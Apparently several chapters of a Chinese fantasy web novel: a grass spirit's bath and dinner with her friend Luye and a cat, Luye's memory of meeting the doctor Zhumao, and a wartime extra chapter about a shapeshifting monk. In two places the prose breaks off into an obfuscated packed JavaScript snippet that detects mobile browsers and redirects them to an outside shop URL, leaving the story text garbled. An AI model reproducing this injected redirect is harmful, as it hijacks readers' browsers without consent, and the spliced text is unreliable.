——吼吼,我还是蛮强的嘛! 等打电话叫餐完毕以后,鹿野一手就把这家伙提溜进自己的卧室后,随手放到房内的欧式扶手椅上。 站在软绵椅面上的阿竹则是疑惑地抬头看着她,不知这个女人要做什么。 而鹿野则是转身把厚外套脱下,挂在门口的衣帽架上,不紧不慢地解开腰带,放好包括乾坤袋和空间系牢笼在内的各项物品,最后才更换浴室拖鞋。 很快,她就这样非常坦然地只穿着上半身的一件白色无袖打底衣和修身长裤走过来,露在空气中的胳膊肌肉线条若隐若现,神态自然而放松。 “来吧阿竹,我帮你洗澡。”鹿野说。 阿竹:【…………】 豆豆眼剧烈震颤! 她虽然此刻无法说话,但是这个草包的脑袋在这一刻难免放空了。 要、要一起洗澡?我和鹿野?! 17.吃饭 浴室里,热气升腾,模糊了那半人高的智能洗漱镜。 花洒的水流声潺潺不断,香氛的气味徘徊在这个水汽弥漫的浴室里。 “呼!” 小草人用头顶的几根呆毛往前一阵扇风,满意地看见由自己暂时分裂开的草木手臂所组成的椭圆形圆环里,有透明的水膜在闪动。 只见一个泡泡被阿竹吹了出来,离开手臂后,就轻飘飘地落在了她脚边的白色泡沫堆上。 “你还真会玩。” 尚且还穿着白天衣物的鹿野卷起长裤的裤腿,赤脚半蹲在巨大的白色浴缸前。只见她一手拿着花洒,一手拿着毛巾,兴许是浴室里又湿又热的缘故,这个女人早就热得汗流浃背,满脸无奈。 阿竹回头没心没肺地看了她一眼,结果脑门上没搓开的香氛泡泡又掉下来了一团。 鹿野叹了口气,抓住这天天就知道玩耍的草包朋友,直接把人塞在了花洒的温水下面,帮她冲洗身上的泡沫。 阿竹知道挣扎也没用,只好老老实实地任由自己被冲洗干净。 说什么共浴啊,你们这些家伙真是想多了。 家里养过宠物的铲屎官都知道,不把宠物收拾干净之前,你千万不能收拾自己。 不然就是白费功夫。 鹿野显然深得其中的真意,果不其然,阿竹从走进浴室里就开始作妖,包括且不限于抓着天花板荡秋千、用香氛吹泡泡、在浴缸里假装溜冰地滑来滑去、脑袋不小心磕在出水口上然后默默自闭等一系列事情。 鹿野原本在旁边当笑话一样看着她,忽然想起外面还有大餐在等着自己,顿时失去所有耐心。 这个无情无义的女人当即把阿竹抓起来冲刷了个干净,裹上白色大毛巾扔出去。 “你找小黑玩吧!” 浴室门在下一秒重重地关上了。 门口的白色毛巾底下很快鼓起了一个小包,它火速地拖拽着毛巾往门外跑去……很快,这阴暗爬行的毛巾把坐在客厅里看电视的小黑给吓了一跳。 “原来是阿竹姐!” 小黑打开毛巾,把一脸无辜的小草人抱出来。 后者的身上看起来清清爽爽,略有香氛气息,显然是被鹿野洗得很干净。 小黑邀请她:“阿竹姐,我们一起看动画片吧?” 阿竹欣然同意。 于是一猫一草围着电视机的晚间动画片愉快地看起来。期间有服务员推着小车上门送餐,小黑做了接待并指挥那个小哥哥摆好餐桌。 当鹿野穿着一套棕褐色的短袖短裤居家服,同时擦着湿漉漉的白发走出来时,就看见这两个小东西强忍着口水,离美食餐桌远远的却又各个心不在焉地在看电视。 她立刻意识到他们是在等待自己来一起开餐,顿时乐了:“饿了就吃呗,还等我做什么。” “那不行,”小黑认真地说,站起来顺手关掉电视,“师父说了,吃饭要等重要的人到齐后再吃。” 鹿野把那条半湿的毛巾随手搭在自己肩膀上,旋即又用双手将这张满满当当的餐桌端过来放下,随口逗弄师弟:“这么说,我如今也算是小黑重要的人了?” 小黑急了:“师姐当然是重要的人!啊,还有阿竹姐也是!” 一旁迫不及待跳上餐桌的阿竹震惊抬头:啊?还有我的戏份? 于是她暂时放下对美食的渴望,模样庄严地转身,跟小黑握了握手,表达感谢。 小黑有点害羞:“不客气,阿竹姐不用跟我客气。” 也许是这只小猫的眼神太过认真而自己的草包朋友又太过真诚了,面对这两个萌物,鹿野一时间反而觉得逗他们玩也没意思,只好讪讪地挥着手招待大家赶紧吃饭。 这一天忙活下来,连晚饭都没吃。 接下来就是大家快乐炫饭的一段无言时间。 小黑在专心吃饭,嗷呜嗷呜地往嘴里塞。阿竹更是都快吃得整个人摔进大碗里了,托富婆朋友的福,她终于吃上了心心念念的轰炸大鱿鱼、烤大油边、明火烧烤、砂锅鱼头等一系列宵夜菜品。 只有鹿野漫不经心地开了一罐度数不算太高的果啤,一边喝酒吃寿司刺身一边刷手机朋友圈。 她的朋友圈里都是她的最新通缉令照片动态:) 一堆不是很熟的人在通缉令下喊着“姐姐好帅”“鹿野前辈娶我”之类的骚话,但是鹿野连他们具体长什么样子都记不太清楚。 至于池年则是在大发雷霆,怒斥“某些人的弟子和他本人一样卑鄙可恶”…… 这头老虎长老还在下午那会儿发了私信给鹿野(估计是甲乙向他汇报了茶楼见闻),勒令她赶快归还无辜柔弱的竹茂医生。你自己搞事情就算了,不许绑架我们总馆医院的工作人员!不然我跟你没完! 看完消息后鹿野只觉得这人不仅得了红眼病甚至脑子还进水,权当没看见,直接把池年拉黑了事。 还有一些共同的妖精朋友跑来发私信,挤眉弄眼地问鹿野“是不是终于和你家阿竹私奔了”之类的问题。 被八卦消息狂轰滥炸,鹿野不禁挑眉,心情很好地回了一句“嫉妒了?”给对方。 手机那头的朋友赶紧说那没有,我怎敢嫉妒您二位,祝你们幸福快乐得像是童话故事结局一样,要是两位大佬的动态消息不是出现在通缉令上就更好了。 看到这儿,鹿野忍不住勾了勾嘴角。 只见鹿野的手指飞快地敲在屏幕上,在给各路人士回消息,时不时抬头瞥一眼阿竹。她生怕这货等会不小心摔进碗里,吸饱一身汤汁,以至于刚才的澡又白洗了。 不过鹿野很快就不用担心这个问题了。 因为在下一刻,不小心摔倒的小草人就从沾满红烧肉汤汁的大碗里迷茫地坐起身,看看周围的暗红色“肉山”,也不嫌弃什么,拿起最近的一块红烧肉就塞进自己嘴里。 “啧,白痴。”鹿野都懒得骂她了。 “啊呜!师姐,这个牛肉好吃,你快尝尝!”小黑热情推荐五分熟牛扒。 “好。你自己吃。”鹿野头也不抬地敷衍小猫,随手拿起一块生鱼片寿司放进自己嘴里慢慢咀嚼起来。 然后她注意到阿竹傻乎乎地站在碗里盯着自己的手,草人的身上闻起来一股红烧肉特有的肉香。 鹿野意外地领悟了那眼神的意思,是“我也想吃你刚才吃的那个”。 “寿司是冷的。”她试图劝阻阿竹,“红烧肉是热的,冷热交替你受得了吗?” 小草人不知道自己受不受得了,但如果她吃不到寿司,一定会闹到鹿野受不了。 很显然,鹿野一下子想通了这其中的道理,不情不愿地给她投喂了一块金枪鱼寿司。 阿竹咀嚼半晌,艰难吞咽,随后给出了一个【-5!】的好感度差评,转身继续吃烧烤大油边去了。 鹿野没好气地吐槽:“都说你不喜欢了……” 一想到等会儿还要给这个笨蛋洗第二次澡,她就好烦。 小黑高高兴兴地大吃特吃,一边看着姐姐们的沙雕互动,一边抓起一个奶油可丽饼吃起来。 他的眼睛一下子亮了:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她求助般地扭头看向鹿野,意思很明显,你跟你师弟聊天聊出来的问题,你自己解释。 “小黑,别为难阿竹。”鹿野慢吞吞地开口道,“未来的事情说不准,我和她都未必会走在同一条路上……” 小黑认真起来:“怎么不会?只要努力了,就一定能互相理解对方的!” 真是孩子气的说法。 有时候,理解和立场是两个截然相反的词语。 鹿野忍不住微笑,她并没有说太多过于现实和残忍的事情,她只是目光温柔地注视着这个真诚直率的师弟:“小黑,对我而言,无法确定的事情我不能轻易给出承诺——这是我对他人负责的表现。但你……也许可以换一个提问方法。” 小黑想了想,恍然大悟,转头问呆呆地看着他们聊天的小草人说道:“阿竹姐,如果可以的话,你想永远跟师姐在一起吗?” “想在一起”跟“会在一起”是两个不同的概念。 阿竹抬起头,发现鹿野也神色平和地望着自己,她的眼眸沉静如蔚蓝湖水,然而那握住啤酒罐的手指却不易察觉地略微用力了几分。 阿竹脑门上的弹幕重新生长出来。 【√】 她打了个勾。 她想永远和鹿野在一起。哪怕直到这一刻,她依旧什么都想不起来。 见到这个答案出现,小黑顿时开心地笑了,简直比宣布自己跟师父好一辈子还要乐呵。 但是鹿野怔愣地看着这个貌似不太聪明的小草人。 过了片刻后,她有些仓促地笑着喝了口啤酒,像是要掩饰什么真实的情感。 “随你。” 18.往事而已 夜深人静时分,鹿野仍然独自一人坐在关掉灯光的套房客厅里喝酒。 小黑是需要多睡觉才能长高的小朋友,所以吃饱喝足就道了晚安回去休息。不远处的阳台上那负责指示道路的几盏地面小灯依旧自动亮着,它们在装饰性的阳台花丛里照射出微弱的白光,风里传来了游泳池里若有若无的水声。 她轻轻摇晃着手中这剩下半罐啤酒,哪怕脚边已经堆放着三四个空瓶了,鹿野的眼神依旧很冷静。 微醺的感觉历来是很好的,人会变得飘飘然,变得愉快,变得忘却烦恼。 可今夜不是一个适合微醺的夜晚,所以鹿野没有让自己喝醉,她只是让自己稍微沉浸在那种与酒精做伴的感觉里。 只有在这个独处的时刻,鹿野才有心情想起刚刚吃饭时师弟小黑问自己的问题。 【“师父当年是怎么跟师姐认识的呀?” “……在路边碰到的。”】 鹿野不太想多谈当年的拜师之事,但是小猫似乎为这么平淡的回答而不甘心。毕竟鹿野知道几年前的师父为了追捕一个名叫“风息”的妖精和他的同党,惹出了很大的混乱。 等事件平息后,这只毛茸茸的猫崽就成了无限的“锁门弟子”。 鹿野当时作为感知组的老大,还帮忙在龙游市全力搜寻过风息的位置。 她当时就站在一栋高楼的天台上,仰头看着夜幕下飞驰而过的师父满脸决绝无悔地冲进被风息偷走且释放的巨大“领域”里……相当于是无限选择拿命去豁,才抢回来了一个弟子。 正因为小黑自己的拜师经历非常惊奇坎坷,所以鹿野完全能理解这小孩儿的不甘心。 ——怎么师姐的拜师故事就那么平淡呢? 可是鹿野不想提起那段往事,每次想到一次,都像是透着鲜血与热泪的伤疤在撕扯痛觉。 就算是最好的朋友阿竹,她也只是很简短地提到过一次自己的过往。 当时她们一起执行一个很艰难的任务,好不容易成功了。 结果两个人最后不小心掉下一个悬崖去了,还因为山里的特殊雾气导致暂时用不了灵力和其他特殊能力。 那会儿鹿野的腿也断了一条,一时间很难爬上去,她便建议竹茂先上去找队友进行救援,回头再来救她。 但是竹茂不放心她所以拒绝了该提议,她选择背着鹿野,硬生生徒手从上百米的悬崖底下爬上来。 那次阿竹被山岩磨破的手指鲜血在风里滴落,飘落在身后之人的脸上,是热的。 像是眼泪。 忍着骨折伤痛的鹿野莫名其妙地就觉得这个时刻能跟这朋友讲一声自己过去的故事。 哪怕这人事后拿这个当把柄来伤害她,她也认了。 不过阿竹听完以后也没评价什么,只是咕哝着什么“我算是明白你为什么讨厌战争了”以后,很快又把话题转移到“好羡慕你有个师父啊”这方面。 “哈?羡慕我?”鹿野差点被逗笑。 但是阿竹似乎很认真,埋头苦爬,嘴皮子却一如既往地没消停:“对啊,我没师父带着呢,以前都是自己摸索出来的,五十多岁了才找到进会馆的门路。好笑吧?” 鹿野不觉得好笑,她想了想提议道:“或者你去找大松?我记得他也是【御木系】的妖精。” “唉,主要是早就过了那个拜师的年纪,现在我拿他当老爹看的,实在不好意思再跟小妖精们一起上课了。”阿竹背对着她解释这么几句,双手死死抠在半空的悬崖上,呼吸间喘得像头牛。 所以如今的鹿野也只能对小黑暗暗说一声抱歉,因为她真的不想随便提及关于拜师学艺这个话题。 但是小黑依旧没有放弃打听八卦的念头,又兴致勃勃地问了个新问题。 【“好吧……那师姐是怎么跟阿竹姐认识的?” “超市里抢特价鸡蛋时认识的。” “哈?” “你阿竹姐以为我要抢她的鸡蛋来着。”】 这当然也是骗人的故事咯,这所谓一回生二回熟,鹿野面对师弟已经可以眼睛不眨一下就撒谎。 因为她去超市一般也不会买特价鸡蛋。 但是逗小猫真的很好玩。 其实在最开始,鹿野对竹茂这家伙的第一感知非常不好。 那时候鹿野从师父无限那里获得了随身金属作为出师礼物,她来到了会馆,自愿成为一名执行者并被分配到感知组作为最普通的基层成员。 作为感知组的成员,与死神和情报交锋是鹿野的日常工作,长年累月下来难免身体里有一些不起眼的暗伤。再加上鹿野一直很抗拒与他人有过多的肢体接触,导致医师对她的治疗根本没办法进行得太过彻底。 那年她才三十岁出头,执行完一次任务后疲惫地与队友们返回宿舍驻地的路上,在一个阳光明媚的墙角处看见了一个蹲在太阳底下看书的怪人。 那人真是太怪了,让鹿野忍不住多瞄了两眼。 因为此人在认真地看一本名为《现代人体解剖学》的医学书籍,问题是,是拿反了来看。 ……什么文盲庸医,书都给拿反了。 鹿野认出对方身上穿着是医疗组的白色制服袍子,知道也是会馆的工作人员,便没太在意地和队友们与这个一看就是在上班时间摸鱼的家伙擦肩而过。 “嘿,那边白头发的姑娘!” 那人突然放下手中的医书,目光灼灼地望过来,开口就是吉利话:“你左侧第二根和第三根肋骨之间有一处凝滞的暗伤,正常生活下不会有任何感觉,高强度活动时可能会给你造成麻烦!到时候不要强行运气呼吸,不然你那两根肋骨都会断……总之记得找人帮你疏通活血一下啊!” 鹿野才不相信这人故弄玄虚的鬼话,她的身体状况如何她还不了解吗? 更何况她所在的小队就在十分钟前才接受了专业的医师治疗。 这个摸鱼佬这么一说,岂不是在暗示她的同事并不专业? 因此鹿野停下脚步,其他队友也跟着停下来看过去,鹿野颇为不悦地问:“你谁啊?” “【流石会馆】派来参加今年总馆医疗集中培训学习,实习医师,竹茂。” 那个蹲在墙边的黑头发医生对鹿野咧嘴一笑,熟门熟路地自我介绍,鹿野却觉得某种寒意不受控制地从脚底板钻上来。 ——这个人杀过不少人。 这是鹿野的直觉。 不然也不会连一个普通笑容都不知不觉地透露出这种森然的寒意。 一个杀人如麻的实习医生?听起来就非常庸医。 这里又不是《新三国演义》的世界观,大家都信奉“医死的人越多,医术越高明”这种离谱医学理论。 “脑子有病!”鹿野没好气地扔下这句话,与队友们一起走远了。 她甚至还听见竹茂在后头自言自语地嘀咕“她怎么知道我脑子受过伤失忆了”之类的鬼话。 听得鹿野更不想搭理这种庸医了。 “这人谁啊?”她问一旁的队友。 队友毫不在意地挥挥手:“害,估计是哪个名不见经传的小妖精。我前几天刚好听说医疗组的老大在上课时发火,说谁再在集中培训时翘课离开,他就要把这人赶出本次培训活动并且医疗组永不录用。” 另一个队友凑过来聊天:“没想到说的是竹茂啊。她们草木系妖精就爱闲着没事到处晒太阳。” “原来如此,咱们要不要去举报一下这家伙的翘课行为?” 队友们征求鹿野的意见,他们也不想这个年轻后辈被某些古怪的庸医给缠上。 鹿野皱眉,却是拒绝了:“没必要。不用搭理这种人,也没必要故意去得罪对方。” “好吧,你自己有分寸就行。” 过了几天后,结束一次新任务的鹿野黑着脸捂住断掉的两根左侧肋骨,在医疗组的驻地宿舍里找到了正准备出门杀鸡的竹茂。 黑头发的实习医师一手菜刀一手活鸡,惊讶地抬眸看着鹿野,显然没想到这人还会回来找自己。 “你给我治。”鹿野开门见山地说,“那些医师看得没你准。我相信你。” “哦……”竹茂拿刀的手抬起挠挠头,手中的母鸡发出不甘心的咕咕声,“可我得杀鸡诶。” 鹿野当时有点气恼,难道她的健康在这个医生眼里还不如一只鸡吗? 于是她咬着牙说道:“等会我帮你杀。” “成交,那进来吧。” 于是被绑缚双腿的母鸡暂时苟活多了一会儿,鹿野跟着这个古怪的庸医进入对方的单人宿舍里,发现这儿到处都郁郁葱葱,阳台上长满了野草和藤蔓等植被。 不知情的人还以为自己误入大自然树屋了。 “房间没收拾,有点乱,让你见笑了。”竹茂把菜刀随手放在吃饭的小桌上,“因为我一般也不会在宿舍给病人看诊。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186539|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >鹿野没吱声,贸贸然地跑过来在别人的下班时间里要求加班,她也不知道回答什么好。 竹茂打了个响指,地面上立刻生长出一张由草编织的翠绿椅子,随后她做了个邀请的手势……鹿野只好半信半疑地坐上去,还好,很稳当,这临时家具没有想象中那么脆弱。 实习医师先去把双手洗干净,走过来卷起衣袖就要来摸她的伤口处开展治疗,但是鹿野面无表情地提出了她的个人忌讳。 “我历来不喜欢与他人保持肢体接触,你能不触碰我就修复这肋骨的伤势吗?” 竹茂:“?” 其实鹿野也知道自己这个要求有点过分,以前也没少被一些医生骂过“你这是不配合治疗”,但她依旧我行我素。 但是竹茂只是想了一下,伸出手掌,掌心里又生长出了一根绿油油的翠草,像是有活性的触手那样东张西望起来。 “明白,我理解你的需求了。”竹茂语气温和地说,“用它可以吗?我的手能与它保持同步的感知和释放能力。如果你还是不喜欢,我就再想想别的办法给你修复肋骨。” 鹿野勉强接受。 后来混熟了,竹茂才告诉她,那会儿要是她还是拒绝小草方案,这满脸笑容的爽朗医生就要用棍子狠狠地敲她肋骨几下,大力出奇迹,直至敲到好。 就这样,鹿野坐在这间别人的宿舍里,而那位黑发的草木系医师半跪在她面前,伸出双手,全神贯注地施展治疗能力。 “其实别的医师本来也应该能看出这个迟滞的,但你不让人家触碰的话,可能就比较隐晦。”竹茂帮自己的前辈和同事们说了句好话。 鹿野依旧面无表情:“哦。” 肋骨断伤很快就修复好了,竹茂忽然又问,要不要帮她看看身上还有没有别的地方不舒服。 鹿野感受了一下新修复的肋骨,毫无异常,甚至呼吸之间比原先还顺畅几分,她便答应了。 于是那天晚上两人还是没能把那只母鸡给杀掉,一晚上的时间全花在做全身体检和治疗方面了。 鹿野被治得整个人彻底放松下来,一直打哈欠,脑子缺氧,犯困想睡觉。竹茂也累得满身是汗的,看起来又饿又乏,却从头到尾也没有抱怨过一个字眼。 “没有一次性给你全部治好,怕你身体遭不住这样的变化,一周后再来一次吧。”竹茂一边用冷水洗脸一边说。 鹿野默不作声地点点头,她盯着对方背后被汗水打湿的衣服片刻,忽然开口:“出去吃夜宵吧。我请你。” “哎呀,这么好?” 竹茂笑嘻嘻地回头看了她一眼,鹿野这才发现,这是她认识这个怪人以来对方第一次露出这么阳光灿烂且真实无比的笑容。 两个人就这样出门去吃了顿宵夜,然后各回各家去了。 一周后,鹿野又找了竹茂一次,完成上次没完成的疗程。 “好了,都搞定了,你自己感受一下。”竹茂倚在宿舍门口笑呵呵地说,“太晚了,快回去吧。以后少来找我。” 鹿野本来在活动筋骨的动作顿时停下,目光冷冽而不解地盯着这人:“为什么?” 这人就这么抗拒结识她? “啊?”竹茂反而不解了,“对你们一线战斗人员来说,天天见到医生难道是什么好事吗。” 鹿野:“……” 不过竹茂下一秒又咧嘴傻笑,但是笑容里依旧透着那种若有若无的血腥寒意。 “如果鹿野你闲着没事非要请我吃饭,那还是可以多来找几次的。” 但是鹿野如今已经不再警惕于那稍显古怪的笑容了,她知道眼前的医生其实人不坏,专业水平也足够。 “知道了。”鹿野头也不回地离开这间宿舍,扬长而去。 ………… …… “嗯?没了?” 套房客厅里,鹿野看着手中空荡荡的啤酒空罐,发现居然在一边回忆乱七八糟的往事一边不知不觉中喝完了这罐。 她扔掉易拉罐,拿起两罐全新未开的啤酒,站起身慢悠悠地往阳台处走去。 随着距离阳台大门越近,外头的划水声愈发清晰。 是的,阿竹现在正在那个阳台泳池里头快乐地游来游去,一会儿仰泳一会儿狗刨的,非常忙碌。 嗤,这傻子。 倚在门边的鹿野注视着泳池方向,不自觉地略微笑起来。 我们怎么就认识那么多年了? 19.番外一·雷雨夜(1) 阅前提示:本番外为过往故事相关,发生于正文故事的时间点之前。 ………… …… 一道蓝紫色的雷霆骤然划过漆黑夜空,乌云层层堆积凝聚,伴随着密不透风的气压,很快,此地下雨了。 眨眼间这瓢泼大雨宛若不要钱一般地落在这处地势平缓的山林里,以至于本就难走的黄泥路一时间变得愈发泥泞,伴随着时不时轰鸣的雷声,照亮了这路边的一处残破庙宇。 庙宇占地不大,原本也是有僧人住持居住于此,此庙的香火在十里八乡范围内还算兴旺,主要是据说这儿的菩萨很灵验……当然,这些只是乡下人的说法,庙里的神佛是否灵验还有待考证。 但它那破败的屋顶和正在疯狂漏水的洞口似乎已经明示了就算是今后乡里人回来后也难以维修此间庙宇了。 “突突突突……” 黄泥小路的尽头骤然照来一道有些昏暗惨白的车灯,刺破了大雨瓢泼的密林精密,伴随着机械引擎的吐息,一行披着统一制式黑色雨披的士兵身影渐渐出现在雨中。 一台三轮摩托开道,剩下十余人则是背着武器和背包在雨水中急行军。 为首的一位军官穿着同款黑色雨披,身着土色军装,坐在这台摩托的侧面挎斗座椅里,身体不住地伴随着糟糕的地面颠簸情况而上下起伏。 军官的双手套着早已湿透的白色手套,拄着一柄半人高的军刀,然而雨水无情地流淌过刀柄末端的陈旧家徽。 ——这是父辈传下的战场古刀,象征着家族荣耀。如果因为被雨水淋了太久而导致生锈的话,来日斩人都不利了吧? 他面色阴沉地注视着前方,雨水从他的帽檐边缘如水帘般流淌而下,忽然开口道:“这场雨怎么说下就下?前两天不还很热吗!” “报告野田中尉,本地人说,这座山从自古以来就是这样!” 后面为首的一位士兵快步跑着跟上摩托车的速度,同时大声汇报。 野田扭头看了一眼雨幕中模样狼狈的下属们,皱着眉头道:“前方有没有什么避雨的地方?” “报告,如果地图标记无误,前面应该有一处菩萨庙,可以暂时避雨!” “哦?是观音大士的庙吗?”野田的语气稍微郑重了一点。 “是的,中尉!” “那就去那儿暂时躲一躲吧,反正司令部留给我们集合的时间还有一点。” 又过了将近七八分钟后,荒废破败的观音庙出现在士兵们的视野里。 然而野田微微一愣,因为他看见在这片昏暗的黑夜暴雨里,这间破损漏水的庙宇大堂里居然还有微弱的灯火在摇曳。 他抬起了手。 摩托车立刻停下,车头冒着袅袅的白色热气,身后的士兵们也赶紧停下,一个个气喘吁吁的。而野田又做了一个新的手势,指着庙宇方向。 两名训练有素的士兵立刻出列,拿下背后的步枪,对视一眼,小心翼翼地朝着庙宇方向佝偻着背摸过去。 砰! 两个士兵一人踢开本就摇摇欲坠的大门,另一人从门边转身闪现至门口,手中的枪械直接对准了这处荒废的庙宇大堂。 庙里的东西不多,除去莲花台上那尊残破损毁的观音泥像以外,地上只有一名佝偻老僧独处。 老僧背对着门外众人,口中依旧默默诵经,一盏摇曳的油灯烛火正是放置于他的蒲团旁边。 暴雨,山林,破庙,诵经僧人。 这一切宛若什么怪谈故事里的开端。 门口那持枪的士兵有点迟疑,但是想起长官与队友都在自己身后,当即大喝一声:“喂,你是什么人!” 但是年迈的僧人并没有回头,也没有说话,只是双手合十地跪在神像面前,口中诵经的速度悄然加快了几分。 眼看四周再无其他人的存在,自觉安全的野田中尉也下了车,在士兵们的簇拥下一起涌入了这间本就不大的庙宇。 一进入屋内,士兵们就自觉地围成一个半圆,纷纷举着枪械对准那古怪老僧,只要他敢有任何异常动作,保证第一时间将此人打成筛子。 不过野田并不觉得面前这个身形佝偻瘦弱的老迈僧人能够做出什么出格举动,他提着腰间军刀走过来,牛皮长靴在地板上留下一串沾满泥泞痕迹的鞋印。 “这位方丈,你是这间观音庙的住持吗?” 野田中尉用有些生硬的夏国语言开口询问道。 “……阿弥利哆,悉耽婆毗,阿弥唎哆……” 老僧闭目诵经,手中那串木质念珠快速拨动,似乎对外界的一切动静都有所耳闻。 可是野田中尉的面色还是变了。 他家族信奉佛教,从小没少听这些佛经唱腔,野田的母亲在他入伍从军后便在家中佛像面前诵经、祈福,祈求儿子能够武运昌隆,平安归来……所以野田大致能听懂一些较常见的佛经经文。 而令他感到不快甚至是毛骨悚然的,是眼前之人念诵的经文不是什么传统的《金刚经》或者《大悲咒》,而是——《拔一切业障根本得生净土神咒》。 俗称《往生咒》。 世人常为“往生”二字所迷惑,殊不知此经的真正要义在于“拔除业障”。 ——这个死老头儿敢用“拔除业障”来诅咒自己和自己的士兵! 听闻此言,野田面色变得狠厉,猛地往后倒退两步。 “杀了他!”他命令道。 但是竟然没有下属开枪。 这种“不遵从上级命令”的事情在这个名为邪桑台国家的军队里是无法容忍的。 然而一股浓郁到无法忽视的血腥味灌入了野田中尉的嗅觉里,雷声骤响,他缓缓地回头,看见原本站在自己身后的那十几名士兵尽数被巨大而扭曲的野草捂住口鼻,眨眼间拖入地面,尽数吞噬。 “你……你是什么东西!披着僧衣,在大士面前还敢犯下这等杀戒,你是妖魔吗?!” 野田大为骇然,竟然忘了自己腰间的手.枪,而是选择第一时间抽出那把闪烁着寒光的长刀,怒喝着就要来斩断那古怪恶僧的头颅! 僧人依旧没有回头,他以虔诚而忏悔的姿态双手合掌,偏偏口中的诵经声堪比雷鸣一般响彻这间庙宇。 “……伽伽那,枳多迦利,娑婆诃!” 话音未落,泛着寒光的刀锋斩下,但是后发先至的却是那一串平平无奇的木质念珠串。 它猛然缠住刀锋,一拖,一拽,挥刀之人便失去了重心。 下一秒,众多念珠崩解开来,如□□一样激射而出,将这名低级军官的头部打成了蜂窝煤的样子! 庙里一片死寂,只有那一盏孤独的烛火依旧轻轻摇曳。 “犯下杀戒又如何?” “妖魔又如何?” “呵……我已入地狱。” “倘若世间真的存在神佛,也会宽恕我今日的举动。” 年迈的僧人终于垂着眼眸,半转过身来,毫无感情波动地俯瞰着这一地死尸。 他——不,应该说,她。 妖精身上的蓝灰色僧袍正在急速变化成为与眼前死去军人身上所穿军装如出一辙的服饰。 头顶的戒疤消失,脸上纵横交错的苍老皱纹隐匿,取而代之的是黑色的板寸发型与光洁的青年皮肤面孔。 当曾经的老僧闭着眼睛站起来时,一位新的“野田中尉”已经诞生了。 “野田”眯着眼睛走到那无头尸体面前,蹲下身在其身上摸索一番,找到了死者的证件和邪桑台驻夏中地区方面军司令部所发布的集合令,此人顿时满意地点点头。 “果然,老鱼那奸商的情报无误,邪皇特使的牛岛中将不日前来巡视夏中方面军。” “要是能借机做掉几个邪军高级将领就好了……” “他”拍拍手掌,原本吞噬了众多尸体的野草又从此人脚下探头出来,将真正的野田中尉身躯也给拖进黑暗中。 “来五个人,充场面。”虚假的非人军官说道。 于是五个成年人体型的草人从地面里快速浮现出来,它们摇摇晃晃地站稳了身子,五官和外貌衣着迅速地化作了先前死者中的一员。 只是如果仔细看,会发现他们的眼睛里毫无光彩,宛若提线木偶一般。 “出发。” 新的“野田中尉”挎着腰间的家族古刀,顶着庙外迎面泼来的大雨,很自然地坐上了外头那台摩托车的挎斗,姿态气质与那位活人军官毫无不同。 由草人伪装的邪桑台士兵则是一人开车,四人跑步跟随其后。 待他们离去后,观音庙里的残留烛火被一阵突如其来的大风骤然吹灭。 当黄泥路上重新响起引擎的“突突突”声时,黄豆大小的雨水狠狠砸在了戴着军帽的“野田中尉”脸上。 “他”在这迎面的凄风苦雨中终于睁开了双眼,里面并非是寻常人类该有的黑眸。 而是一双燃烧着狂乱杀意的血红竖瞳。 如狩猎中的野兽,又好似怒目之相的鬼神。 ………… …… 啪嗒。 一滴雨水落在了我的眉心处。 我睁开了眼。 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我早就查过了,现实中确实有这样的一场持续十年的战争,然而和平协议签署距今已有五十余年。 当年邪桑台因为种种利益原因率先挑起侵略战争,最终却以夏国全面获胜、邪皇政府宣布无条件投降为最后结局,而邪皇本人也在多年后遭遇无名刺客“天诛”而身陨告终。 但奇怪的是,我的脑海里并未有任何关于这场战争的真实记忆。 我自小住在另一片大陆上一个没什么名气的小山谷里,那儿没有多少妖精,但我依旧无忧无虑地生活到快五十岁才觉得腻味,这才离开故乡出来闯荡。 在外头被社会各路牛鬼蛇神给欺骗吊打过了几年后,在一位好心的妖精朋友引荐下,我总算加入会馆,当了个普通的医生。 如今我每天上上班,打打卡,陪病人聊聊天,吃吃东西,一天就这么愉快地过去了。 可是新的困扰我的事情就出现了——雷雨季。 不是梅雨季,而是雷雨。 准确来说,是雷声。 不知为何,我发自灵魂深处的恐惧着那象征天威之怒的雷鸣号角,哪怕它往往会带来一场春雨,带来一场新的生机。 与此同时每年到了这个时候,我就会开始不受控制的、频繁地梦见那些关于杀戮、暴虐和痛苦的梦境。 我也想过要不要去看医生,但我自己就是医生,自己治不好的病,同僚多半也无能为力,而且我也不想被人视为什么爱好杀人的血腥刽子手。 ……太极端了。 于是我找了不少人类的心理专家进行过咨询,但他们大部分人认为我潜意识里向往着那样残酷可怕的战争生活,还有一些专家觉得我是反社会人格,听完我的故事描述后选择偷偷报警。 简直岂有此理。 整个【苍南会馆】就没有工作态度比我更好、聊天态度比我更友善的五星优秀医生了好吧? 不过说起这些麻烦事情也不能解决问题,我扭过头,看向屋内,卧室里居然还亮着电灯。 要知道,现在可是凌晨2点了! 我有点生气,大喊道:“分身!” 卧室的窗户被猛然打开,一个学习学得筋疲力尽、两眼无神的“我”探头出来,语气凶恶:“干什么?” 这家伙就是我的草木分身。 ——分身负责头悬梁的熬夜努力学习,我作为本体负责在露天庭院里吹风睡觉,合情合理! 我指责分身:“你看书就看书,开电灯做什么?电费很贵啊。开煤油灯不就行了吗?” “混蛋!”分身恼怒地用手拍打窗户,“敢情大半夜学习的人不是你,你才敢这么说!” 轰隆隆! 又是一阵滚滚雷声,自远至近。 我们两个一起抬头看向漆黑的天空好几秒,然后同步低下头来面面相觑。 “那个……是今年的雷雨季要来了吧?” “对。”分身露出了一个有些快意,有些扭曲又特别熟悉的糟糕笑容,“本体,你知道的,咱们是同一个人,所以我也怕雷雨季。” 我忽然心生不妙之感:“等等……” “老娘不学啦!!” 分身大笑着把医学书籍往天花板一扔,然后整个人直接消散了。 